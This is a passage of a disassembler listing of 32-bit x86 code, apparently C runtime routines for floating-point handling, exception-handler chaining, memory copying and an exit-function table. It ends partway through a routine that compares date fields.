--------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB9AC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43CF84, offset sub_421935 mov off_43CF80, eax mov off_43CF88, offset sub_42199B mov off_43CF8C, offset sub_4218DB mov off_43CF90, offset sub_421983 mov off_43CF94, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D031+1Bp ; sub_40D031+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07D+82p ; ___:0040DD3Dp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A988 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBA04 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A98C jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A98C mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07D+5p ; sub_40D21F+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B4+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D725+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78C+34p ; sub_40D78C+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DCFFC call sub_422608 mov edx, dword_4DCFFC pop ecx mov ecx, dword_4DCFF8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DCFFC call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DCFF8 sub ecx, dword_4DCFFC mov dword_4DCFFC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DCFF8, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DCFF8, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D879+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DCFFC, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DCFFC pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DCFFC mov dword_4DCFF8, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Cp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2770584h lea eax, [ebp+var_20] push eax call near ptr 2870000h nop mov ax, [ebp+var_16] cmp ax, word_4DB9C2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB9C0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB9BE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB9BA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, 